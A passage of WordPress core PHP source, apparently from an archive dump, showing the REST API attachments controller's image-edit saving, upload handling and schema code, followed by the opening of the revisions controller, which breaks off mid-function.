		$image_ext  = pathinfo( $image_file, PATHINFO_EXTENSION );
		$image_name = wp_basename( $image_file, ".{$image_ext}" );

		/*
		 * Do not append multiple `-edited` to the file name.
		 * The user may be editing a previously edited image.
		 */
		if ( preg_match( '/-edited(-\d+)?$/', $image_name ) ) {
			// Remove any `-1`, `-2`, etc. `wp_unique_filename()` will add the proper number.
			$image_name = preg_replace( '/-edited(-\d+)?$/', '-edited', $image_name );
		} else {
			// Append `-edited` before the extension.
			$image_name .= '-edited';
		}

		$filename = "{$image_name}.{$image_ext}";

		// Create the uploads subdirectory if needed.
		$uploads = wp_upload_dir();

		// Make the file name unique in the (new) upload directory.
		$filename = wp_unique_filename( $uploads['path'], $filename );

		// Save to disk.
		$saved = $image_editor->save( $uploads['path'] . "/$filename" );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

		// Create new attachment post.
		$new_attachment_post = array(
			'post_mime_type' => $saved['mime-type'],
			'guid'           => $uploads['url'] . "/$filename",
			'post_title'     => $image_name,
			'post_content'   => '',
		);

		// Copy post_content, post_excerpt, and post_title from the edited image's attachment post.
		$attachment_post = get_post( $attachment_id );

		if ( $attachment_post ) {
			$new_attachment_post['post_content'] = $attachment_post->post_content;
			$new_attachment_post['post_excerpt'] = $attachment_post->post_excerpt;
			$new_attachment_post['post_title']   = $attachment_post->post_title;
		}

		$new_attachment_id = wp_insert_attachment( wp_slash( $new_attachment_post ), $saved['path'], 0, true );

		if ( is_wp_error( $new_attachment_id ) ) {
			if ( 'db_update_error' === $new_attachment_id->get_error_code() ) {
				$new_attachment_id->add_data( array( 'status' => 500 ) );
			} else {
				$new_attachment_id->add_data( array( 'status' => 400 ) );
			}

			return $new_attachment_id;
		}

		// Copy the image alt text from the edited image.
		$image_alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );

		if ( ! empty( $image_alt ) ) {
			// update_post_meta() expects slashed.
			update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
		}

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( 'X-WP-Upload-Attachment-ID: ' . $new_attachment_id );
		}

		// Generate image sub-sizes and meta.
		$new_image_meta = wp_generate_attachment_metadata( $new_attachment_id, $saved['path'] );

		// Copy the EXIF metadata from the original attachment if not generated for the edited image.
		if ( isset( $image_meta['image_meta'] ) && isset( $new_image_meta['image_meta'] ) && is_array( $new_image_meta['image_meta'] ) ) {
			// Merge but skip empty values.
			foreach ( (array) $image_meta['image_meta'] as $key => $value ) {
				if ( empty( $new_image_meta['image_meta'][ $key ] ) && ! empty( $value ) ) {
					$new_image_meta['image_meta'][ $key ] = $value;
				}
			}
		}

		// Reset orientation. At this point the image is edited and orientation is correct.
		if ( ! empty( $new_image_meta['image_meta']['orientation'] ) ) {
			$new_image_meta['image_meta']['orientation'] = 1;
		}

		// The attachment_id may change if the site is exported and imported.
		$new_image_meta['parent_image'] = array(
			'attachment_id' => $attachment_id,
			// Path to the originally uploaded image file relative to the uploads directory.
			'file'          => _wp_relative_upload_path( $image_file ),
		);

		/**
		 * Filters the meta data for the new image created by editing an existing image.
		 *
		 * @since 5.5.0
		 *
		 * @param array $new_image_meta    Meta data for the new image.
		 * @param int   $new_attachment_id Attachment post ID for the new image.
		 * @param int   $attachment_id     Attachment post ID for the edited (parent) image.
		 */
		$new_image_meta = apply_filters( 'wp_edited_image_metadata', $new_image_meta, $new_attachment_id, $attachment_id );

		wp_update_attachment_metadata( $new_attachment_id, $new_image_meta );

		$response = $this->prepare_item_for_response( get_post( $new_attachment_id ), $request );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $new_attachment_id ) ) );

		return $response;
	}

	/**
	 * Prepares a single attachment for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_attachment = parent::prepare_item_for_database( $request );

		// Attachment caption (post_excerpt internally).
		if ( isset( $request['caption'] ) ) {
			if ( is_string( $request['caption'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption'];
			} elseif ( isset( $request['caption']['raw'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption']['raw'];
			}
		}

		// Attachment description (post_content internally).
		if ( isset( $request['description'] ) ) {
			if ( is_string( $request['description'] ) ) {
				$prepared_attachment->post_content = $request['description'];
			} elseif ( isset( $request['description']['raw'] ) ) {
				$prepared_attachment->post_content = $request['description']['raw'];
			}
		}

		if ( isset( $request['post'] ) ) {
			$prepared_attachment->post_parent = (int) $request['post'];
		}

		return $prepared_attachment;
	}

	/**
	 * Prepares a single attachment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post         $item    Attachment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$response = parent::prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );
		$data     = $response->get_data();

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'caption', $fields, true ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$caption = apply_filters( 'the_excerpt', $caption );

			$data['caption'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $caption,
			);
		}

		if ( in_array( 'alt_text', $fields, true ) ) {
			$data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
		}

		if ( in_array( 'media_type', $fields, true ) ) {
			$data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file';
		}

		if ( in_array( 'mime_type', $fields, true ) ) {
			$data['mime_type'] = $post->post_mime_type;
		}

		if ( in_array( 'media_details', $fields, true ) ) {
			$data['media_details'] = wp_get_attachment_metadata( $post->ID );

			// Ensure empty details is an empty object.
			if ( empty( $data['media_details'] ) ) {
				$data['media_details'] = new stdClass();
			} elseif ( ! empty( $data['media_details']['sizes'] ) ) {

				foreach ( $data['media_details']['sizes'] as $size => &$size_data ) {

					if ( isset( $size_data['mime-type'] ) ) {
						$size_data['mime_type'] = $size_data['mime-type'];
						unset( $size_data['mime-type'] );
					}

					// Use the same method image_downsize() does.
					$image_src = wp_get_attachment_image_src( $post->ID, $size );
					if ( ! $image_src ) {
						continue;
					}

					$size_data['source_url'] = $image_src[0];
				}

				$full_src = wp_get_attachment_image_src( $post->ID, 'full' );

				if ( ! empty( $full_src ) ) {
					$data['media_details']['sizes']['full'] = array(
						'file'       => wp_basename( $full_src[0] ),
						'width'      => $full_src[1],
						'height'     => $full_src[2],
						'mime_type'  => $post->post_mime_type,
						'source_url' => $full_src[0],
					);
				}
			} else {
				$data['media_details']['sizes'] = new stdClass();
			}
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null;
		}

		if ( in_array( 'source_url', $fields, true ) ) {
			$data['source_url'] = wp_get_attachment_url( $post->ID );
		}

		if ( in_array( 'missing_image_sizes', $fields, true ) ) {
			require_once ABSPATH . 'wp-admin/includes/image.php';
			$data['missing_image_sizes'] = array_keys( wp_get_missing_image_subsizes( $post->ID ) );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';

		$data = $this->filter_response_by_context( $data, $context );

		$links = $response->get_links();

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		foreach ( $links as $rel => $rel_links ) {
			foreach ( $rel_links as $link ) {
				$response->add_link( $rel, $link['href'], $link['attributes'] );
			}
		}

		/**
		 * Filters an attachment returned from the REST API.
		 *
		 * Allows modification of the attachment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original attachment post.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_attachment', $response, $post, $request );
	}

	/**
	 * Retrieves the attachment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema as an array.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();

		$schema['properties']['alt_text'] = array(
			'description' => __( 'Alternative text to display when attachment is not displayed.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['caption'] = array(
			'description' => __( 'The attachment caption.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
			),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Caption for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML caption for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The attachment description.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
			),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Description for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML description for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['media_type'] = array(
			'description' => __( 'Attachment type.' ),
			'type'        => 'string',
			'enum'        => array( 'image', 'file' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['mime_type'] = array(
			'description' => __( 'The attachment MIME type.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['media_details'] = array(
			'description' => __( 'Details about the media file, specific to its type.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['post'] = array(
			'description' => __( 'The ID for the associated post of the attachment.' ),
			'type'        => 'integer',
			'context'     => array( 'view', 'edit' ),
		);

		$schema['properties']['source_url'] = array(
			'description' => __( 'URL to the original attachment file.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['missing_image_sizes'] = array(
			'description' => __( 'List of the missing image sizes of the attachment.' ),
			'type'        => 'array',
			'items'       => array( 'type' => 'string' ),
			'context'     => array( 'edit' ),
			'readonly'    => true,
		);

		unset( $schema['properties']['password'] );

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Handles an upload via raw POST data.
	 *
	 * @since 4.7.0
	 * @since 6.6.0 Added the `$time` parameter.
	 *
	 * @param string      $data    Supplied file data.
	 * @param array       $headers HTTP headers from the request.
	 * @param string|null $time    Optional. Time formatted in 'yyyy/mm'. Default null.
	 * @return array|WP_Error Data from wp_handle_sideload().
	 */
	protected function upload_from_data( $data, $headers, $time = null ) {
		if ( empty( $data ) ) {
			return new WP_Error(
				'rest_upload_no_data',
				__( 'No data supplied.' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $headers['content_type'] ) ) {
			return new WP_Error(
				'rest_upload_no_content_type',
				__( 'No Content-Type supplied.' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $headers['content_disposition'] ) ) {
			return new WP_Error(
				'rest_upload_no_content_disposition',
				__( 'No Content-Disposition supplied.' ),
				array( 'status' => 400 )
			);
		}

		$filename = self::get_filename_from_disposition( $headers['content_disposition'] );

		if ( empty( $filename ) ) {
			return new WP_Error(
				'rest_upload_invalid_disposition',
				__( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5( $data );

			if ( $expected !== $actual ) {
				return new WP_Error(
					'rest_upload_hash_mismatch',
					__( 'Content hash did not match expected.' ),
					array( 'status' => 412 )
				);
			}
		}

		// Get the content-type.
		$type = array_shift( $headers['content_type'] );

		// Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload().
		require_once ABSPATH . 'wp-admin/includes/file.php';

		// Save the file.
		$tmpfname = wp_tempnam( $filename );

		$fp = fopen( $tmpfname, 'w+' );

		if ( ! $fp ) {
			return new WP_Error(
				'rest_upload_file_error',
				__( 'Could not open file handle.' ),
				array( 'status' => 500 )
			);
		}

		fwrite( $fp, $data );
		fclose( $fp );

		// Now, sideload it in.
		$file_data = array(
			'error'    => null,
			'tmp_name' => $tmpfname,
			'name'     => $filename,
			'type'     => $type,
		);

		$size_check = self::check_upload_size( $file_data );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		$overrides = array(
			'test_form' => false,
		);

		$sideloaded = wp_handle_sideload( $file_data, $overrides, $time );

		if ( isset( $sideloaded['error'] ) ) {
			@unlink( $tmpfname );

			return new WP_Error(
				'rest_upload_sideload_error',
				$sideloaded['error'],
				array( 'status' => 500 )
			);
		}

		return $sideloaded;
	}

	/**
	 * Parses filename from a Content-Disposition header value.
	 *
	 * As per RFC6266:
	 *
	 *     content-disposition = "Content-Disposition" ":"
	 *                            disposition-type *( ";" disposition-parm )
	 *
	 *     disposition-type    = "inline" | "attachment" | disp-ext-type
	 *                         ; case-insensitive
	 *     disp-ext-type       = token
	 *
	 *     disposition-parm    = filename-parm | disp-ext-parm
	 *
	 *     filename-parm       = "filename" "=" value
	 *                         | "filename*" "=" ext-value
	 *
	 *     disp-ext-parm       = token "=" value
	 *                         | ext-token "=" ext-value
	 *     ext-token           = <the characters in token, followed by "*">
	 *
	 * @since 4.7.0
	 *
	 * @link https://tools.ietf.org/html/rfc2388
	 * @link https://tools.ietf.org/html/rfc6266
	 *
	 * @param string[] $disposition_header List of Content-Disposition header values.
	 * @return string|null Filename if available, or null if not found.
	 */
	public static function get_filename_from_disposition( $disposition_header ) {
		// Get the filename.
		$filename = null;

		foreach ( $disposition_header as $value ) {
			$value = trim( $value );

			if ( ! str_contains( $value, ';' ) ) {
				continue;
			}

			list( , $attr_parts ) = explode( ';', $value, 2 );

			$attr_parts = explode( ';', $attr_parts );
			$attributes = array();

			foreach ( $attr_parts as $part ) {
				if ( ! str_contains( $part, '=' ) ) {
					continue;
				}

				list( $key, $value ) = explode( '=', $part, 2 );

				$attributes[ trim( $key ) ] = trim( $value );
			}

			if ( empty( $attributes['filename'] ) ) {
				continue;
			}

			$filename = trim( $attributes['filename'] );

			// Unquote quoted filename, but after trimming.
			if ( str_starts_with( $filename, '"' ) && str_ends_with( $filename, '"' ) ) {
				$filename = substr( $filename, 1, -1 );
			}
		}

		return $filename;
	}

	/**
	 * Retrieves the query params for collections of attachments.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the attachment collection as an array.
	 */
	public function get_collection_params() {
		$params                            = parent::get_collection_params();
		$params['status']['default']       = 'inherit';
		$params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' );
		$media_types                       = $this->get_media_types();

		$params['media_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular media type.' ),
			'type'        => 'string',
			'enum'        => array_keys( $media_types ),
		);

		$params['mime_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular MIME type.' ),
			'type'        => 'string',
		);

		return $params;
	}

	/**
	 * Handles an upload via multipart/form-data ($_FILES).
	 *
	 * @since 4.7.0
	 * @since 6.6.0 Added the `$time` parameter.
	 *
	 * @param array       $files   Data from the `$_FILES` superglobal.
	 * @param array       $headers HTTP headers from the request.
	 * @param string|null $time    Optional. Time formatted in 'yyyy/mm'. Default null.
	 * @return array|WP_Error Data from wp_handle_upload().
	 */
	protected function upload_from_file( $files, $headers, $time = null ) {
		if ( empty( $files ) ) {
			return new WP_Error(
				'rest_upload_no_data',
				__( 'No data supplied.' ),
				array( 'status' => 400 )
			);
		}

		// Verify hash, if given.
		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5_file( $files['file']['tmp_name'] );

			if ( $expected !== $actual ) {
				return new WP_Error(
					'rest_upload_hash_mismatch',
					__( 'Content hash did not match expected.' ),
					array( 'status' => 412 )
				);
			}
		}

		// Pass off to WP to handle the actual upload.
		$overrides = array(
			'test_form' => false,
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$size_check = self::check_upload_size( $files['file'] );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		// Include filesystem functions to get access to wp_handle_upload().
		require_once ABSPATH . 'wp-admin/includes/file.php';

		$file = wp_handle_upload( $files['file'], $overrides, $time );

		if ( isset( $file['error'] ) ) {
			return new WP_Error(
				'rest_upload_unknown_error',
				$file['error'],
				array( 'status' => 500 )
			);
		}

		return $file;
	}

	/**
	 * Retrieves the supported media types.
	 *
	 * Media types are considered the MIME type category.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of supported media types.
	 */
	protected function get_media_types() {
		$media_types = array();

		foreach ( get_allowed_mime_types() as $mime_type ) {
			$parts = explode( '/', $mime_type );

			if ( ! isset( $media_types[ $parts[0] ] ) ) {
				$media_types[ $parts[0] ] = array();
			}

			$media_types[ $parts[0] ][] = $mime_type;
		}

		return $media_types;
	}

	/**
	 * Determine if uploaded file exceeds space quota on multisite.
	 *
	 * Replicates check_upload_size().
	 *
	 * @since 4.9.8
	 *
	 * @param array $file $_FILES array for a given file.
	 * @return true|WP_Error True if can upload, error for errors.
	 */
	protected function check_upload_size( $file ) {
		if ( ! is_multisite() ) {
			return true;
		}

		if ( get_site_option( 'upload_space_check_disabled' ) ) {
			return true;
		}

		$space_left = get_upload_space_available();

		$file_size = filesize( $file['tmp_name'] );

		if ( $space_left < $file_size ) {
			return new WP_Error(
				'rest_upload_limited_space',
				/* translators: %s: Required disk space in kilobytes. */
				sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ),
				array( 'status' => 400 )
			);
		}

		if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
			return new WP_Error(
				'rest_upload_file_too_big',
				/* translators: %s: Maximum allowed file size in kilobytes. */
				sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ),
				array( 'status' => 400 )
			);
		}

		// Include multisite admin functions to get access to upload_is_user_over_quota().
		require_once ABSPATH . 'wp-admin/includes/ms.php';

		if ( upload_is_user_over_quota( false ) ) {
			return new WP_Error(
				'rest_upload_user_quota_exceeded',
				__( 'You have used your space quota. Please delete files before uploading.' ),
				array( 'status' => 400 )
			);
		}

		return true;
	}

	/**
	 * Gets the request args for the edit item route.
	 *
	 * @since 5.5.0
	 *
	 * @return array
	 */
	protected function get_edit_media_item_args() {
		return array(
			'src'       => array(
				'description' => __( 'URL to the edited image file.' ),
				'type'        => 'string',
				'format'      => 'uri',
				'required'    => true,
			),
			'modifiers' => array(
				'description' => __( 'Array of image edits.' ),
				'type'        => 'array',
				'minItems'    => 1,
				'items'       => array(
					'description' => __( 'Image edit.' ),
					'type'        => 'object',
					'required'    => array(
						'type',
						'args',
					),
					'oneOf'       => array(
						array(
							'title'      => __( 'Rotation' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Rotation type.' ),
									'type'        => 'string',
									'enum'        => array( 'rotate' ),
								),
								'args' => array(
									'description' => __( 'Rotation arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'angle',
									),
									'properties'  => array(
										'angle' => array(
											'description' => __( 'Angle to rotate clockwise in degrees.' ),
											'type'        => 'number',
										),
									),
								),
							),
						),
						array(
							'title'      => __( 'Crop' ),
							'properties' => array(
								'type' => array(
									'description' => __( 'Crop type.' ),
									'type'        => 'string',
									'enum'        => array( 'crop' ),
								),
								'args' => array(
									'description' => __( 'Crop arguments.' ),
									'type'        => 'object',
									'required'    => array(
										'left',
										'top',
										'width',
										'height',
									),
									'properties'  => array(
										'left'   => array(
											'description' => __( 'Horizontal position from the left to begin the crop as a percentage of the image width.' ),
											'type'        => 'number',
										),
										'top'    => array(
											'description' => __( 'Vertical position from the top to begin the crop as a percentage of the image height.' ),
											'type'        => 'number',
										),
										'width'  => array(
											'description' => __( 'Width of the crop as a percentage of the image width.' ),
											'type'        => 'number',
										),
										'height' => array(
											'description' => __( 'Height of the crop as a percentage of the image height.' ),
											'type'        => 'number',
										),
									),
								),
							),
						),
					),
				),
			),
			'rotation'  => array(
				'description'      => __( 'The amount to rotate the image clockwise in degrees. DEPRECATED: Use `modifiers` instead.' ),
				'type'             => 'integer',
				'minimum'          => 0,
				'exclusiveMinimum' => true,
				'maximum'          => 360,
				'exclusiveMaximum' => true,
			),
			'x'         => array(
				'description' => __( 'As a percentage of the image, the x position to start the crop from. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'y'         => array(
				'description' => __( 'As a percentage of the image, the y position to start the crop from. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'width'     => array(
				'description' => __( 'As a percentage of the image, the width to crop the image to. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
			'height'    => array(
				'description' => __( 'As a percentage of the image, the height to crop the image to. DEPRECATED: Use `modifiers` instead.' ),
				'type'        => 'number',
				'minimum'     => 0,
				'maximum'     => 100,
			),
		);
	}
}
endpoints/class-wp-rest-revisions-controller.php000064400000063675151724720270016214 0ustar00<?php
/**
 * REST API: WP_REST_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access revisions via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Revisions_Controller extends WP_REST_Controller {

	/**
	 * Parent post type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_post_type;

	/**
	 * Instance of a revision meta fields object.
	 *
	 * @since 6.4.0
	 * @var WP_REST_Post_Meta_Fields
	 */
	protected $meta;

	/**
	 * Parent controller.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	private $parent_base;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type ) {
		$this->parent_post_type = $parent_post_type;
		$post_type_object       = get_post_type_object( $parent_post_type );
		$parent_controller      = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Posts_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
		$this->meta              = new WP_REST_Post_Meta_Fields( $parent_post_type );
	}

	/**
	 * Registers the routes for revisions based on post types supporting revisions.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Required to be true, as revisions do not support trashing.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Get the parent post, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $parent_post_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent( $parent_post_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $parent_post_id <= 0 ) {
			return $error;
		}

		$parent_post = get_post( (int) $parent_post_id );

		if ( empty( $parent_post ) || empty( $parent_post->ID )
			|| $this->parent_post_type !== $parent_post->post_type
		) {
			return $error;
		}

		return $parent_post;
	}

	/**
	 * Checks if a given request has access to get revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		if ( ! current_user_can( 'edit_post', $parent->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to view revisions of this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Get the revision, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_revision( $id ) {
		$error = new WP_Error(
			'rest_post_invalid_id',
			__( 'Invalid revision ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$revision = get_post( (int) $id );
		if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) {
			return $error;
		}

		return $revision;
	}

	/**
	 * Gets a collection of revisions.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );
		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		// Ensure a search string is set in case the orderby is set to 'relevance'.
		if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) {
			return new WP_Error(
				'rest_no_search_term_defined',
				__( 'You need to define a search term to order by relevance.' ),
				array( 'status' => 400 )
			);
		}

		// Ensure an include parameter is set in case the orderby is set to 'include'.
		if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) {
			return new WP_Error(
				'rest_orderby_include_missing_include',
				__( 'You need to define an include parameter to order by include.' ),
				array( 'status' => 400 )
			);
		}

		$is_head_request = $request->is_method( 'HEAD' );

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$args       = array(
				'post_parent'      => $parent->ID,
				'post_type'        => 'revision',
				'post_status'      => 'inherit',
				'posts_per_page'   => -1,
				'orderby'          => 'date ID',
				'order'            => 'DESC',
				'suppress_filters' => true,
			);

			$parameter_mappings = array(
				'exclude'  => 'post__not_in',
				'include'  => 'post__in',
				'offset'   => 'offset',
				'order'    => 'order',
				'orderby'  => 'orderby',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
				'search'   => 's',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$args[ $wp_param ] = $request[ $api_param ];
				}
			}

			// For backward-compatibility, 'date' needs to resolve to 'date ID'.
			if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) {
				$args['orderby'] = 'date ID';
			}

			if ( $is_head_request ) {
				// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
				$args['fields'] = 'ids';
				// Disable priming post meta for HEAD requests to improve performance.
